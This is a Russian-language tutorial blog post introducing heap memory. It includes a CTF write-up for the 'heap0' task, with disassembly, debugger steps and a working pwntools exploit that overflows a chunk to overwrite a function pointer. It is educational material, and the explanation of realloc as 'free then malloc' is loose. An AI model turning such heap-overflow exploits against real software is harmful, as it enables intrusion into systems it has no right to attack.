В реалиях нашего мира, программисты пользуются ООП и предпочитают динамическую память, а не статическую. В нашей жизни, вне CTF, все работает именно в куче, потому что это удобно и практично. Речь пойдет о динамической памяти - куча (heap). Если взглянуть на статистику cvedetails, то можно увидеть, что большинство критических уязвимостей связаны именно с динамической памятью.
В цикле статей будет рассказано об устройстве кучи, атаках на них и все в духе бинарной эксплуатации.
Дисклеймер: Все данные, предоставленные в данной статье, взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий.
Вот есть стек, куда попадают локальные перменные или аргументы функции, есть секция данных для глобальных перменных. Что попадает в кучу? Какие данные туда попадают? Примерно на такие примитивные вопросы и будем рассматривать в первой части.
Создание и особенности кучи
Создать кучу можно используя оператор new
или функцию malloc()
ptr = malloc(100); // выделить 100 байт
free(ptr); // очистить кучу
Есть еще realloc
, которая объявляет новый размер. То есть, сначала память очищается free()
, а потом аллоцирутеся malloc()
.
Например, выделили 10 байт и создалось место, называемое чанком (chunk), ptr1 = malloc(10)
------
| |
| 10 |
| |
------
Выделили еще 20 байт, ptr2 = malloc(20)
------
| |
| 10 |
| |
------
------
| |
| 20 |
| |
------
Каждый вызов malloc
, выделяет новый чанк в этой области памяти. Например, освободим первый чанк free(ptr)
------
| |
| fr |
| ee |
------
------
| |
| 20 |
| |
------
Теперь создадим новый чанк ptr3 = malloc(10)
и произойдет заполнение удаленного чанка
------
| |
| 10 |
| |
------
------
| |
| 20 |
| |
------
Куча умеет создавать новые кусочки, используя старые, которые уже были освобождены.
Для чего она вообще нужна?
Куча нужна для динамического выделения памяти, когда заранее неизвестен размер данных.
Для строчек. Если заранее не знаем, сколько нужно читать данных с файла
char *content = malloc(file_size)
.Для массивов, если неизвестно сколько данных надо обработать заранее
int *array = realloc(arr, n*sizeof(int))
Для структур. Для примера программирования структур как стек, список и т.д.
list *head = malloc(sizeof(list));
head->next = malloc(sizeof(list))
В ООП. Все объекты в ООП и что может создавать новые экземпляры на куче
Object * obj = new Object(123);
Переполнение кучи
Для переполнения, следует знать от устройства кучи всего ничего. Все созданные чанки создаются друг за другом и они связаны. Об самой структуре чанка поговорим в следующих частях. Сейчас необходимо понять, что куча представляет из себя цепочку чанков
Таким образом, если переполнить первый чанк, то можно попасть в пространство второго, потом третьего и т.д. Получается не все так и сложно. Эта уязвимость сравнима с обычным переполнением буффера. Попробую продемонстрировать это на примере CTF-таска.
Практика
Для демонстрации переполнения кучи, взял таск с площадки SPbCTF, под названием heap0. Открывать J0llyTr0LLz нет смысла, поэтому сразу переходим к реверсу.
Реверсить буду как обычно в IDA. В функции main()
Происходит следующее:
Выделяется первый чанк размером
0x40
и адрес присваивается переменнойvar10
mov edi, 40h ; '@' ; size
call _malloc
mov [rbp+var_10], rax
Выделяется второй чанк размером
0x8
и туда помещается адрес функцииnowinner()
Записываем данные в первый чанк
mov rax, [rbp+var_10]
mov rdi, rax
mov eax, 0
call _gets
Вызов функции, который сохранен во втором чанке
mov rax, [rbp+var_8]
mov rdx, [rax]
mov eax, 0
call rdx
Запущю edb-debugger, для демонстрации чанков и переполнения.
Создаем первый чанк и адрес возвращается в регистр rax
Пока что, чанк выглядит вот так:
Вот так, после создания второго чанка:
Как можно заметить, туда добавился адрес функции nowinner()
.
Дойдем до ввода данных и запишем туда, для начала, 16 символов
Данные записались. Теперь попробуем переполнить и перезаписать адрес. Просто введу 81 байт данных и вот результат
Перезаписал адрес, который содержится во втором чанке и далее программа будет пробовать вызвать адрес 0x560acc210041
Программа нам выводит различные утечки данных, с помощью которых можно легко получить флаг
data is at 0x560accc6b2a0, fp is at 0x560accc6b2f0, main at 0x560acc2171bb
Сплойт будет выглядеть так:
from pwn import *
exe = context.binary = ELF('./heap0.elf')
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.EDB:
return process(['edb','--run',exe.path] + argv, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
tbreak main
continue
'''.format(**locals())
io = start()
io.recvuntil(b'main at 0x')
leak = io.recv(12)
leak = leak[:len(leak) - 2]
leak += "89".encode()
leak = int(leak,16)
log.info("0x{:x}".format(leak))
junk = b'A'*80
payload = junk + p64(leak)
io.sendline(payload)
io.interactive()
На этом первое знакомство с кучей закончилось. В последующих частях будем углубляться в понятие аллокаторов, чанков и разбираться с атаками.
Комментарии (2)
firehacker
02.11.2023 21:57В ООП. Все объекты в ООП и что может создавать новые экземпляры на куче
Я бы не был так категоричен в высказываниях. new может быть перегружен. Под капотом может скрываться выделение памяти не из кучи, а из структуры типа arena.
0Bannon
Спасибо, интересно.
В ф-ии start нежелательно делать дефолтным значение с мутабельным аргументом 'argv=[ ]'.
Аргументы в ней инициализируются один раз при создании ф-ии, и в такой объект могут добавиться новые данные при вызове ф-ии еще раз.
def f(a=[]):
a.append(100)
return a
lst = f()
print(f"lst: {lst}")
lst2 = f()
print(f"lst2: {lst2}")
>>>
lst: [100]
lst2: [100, 100]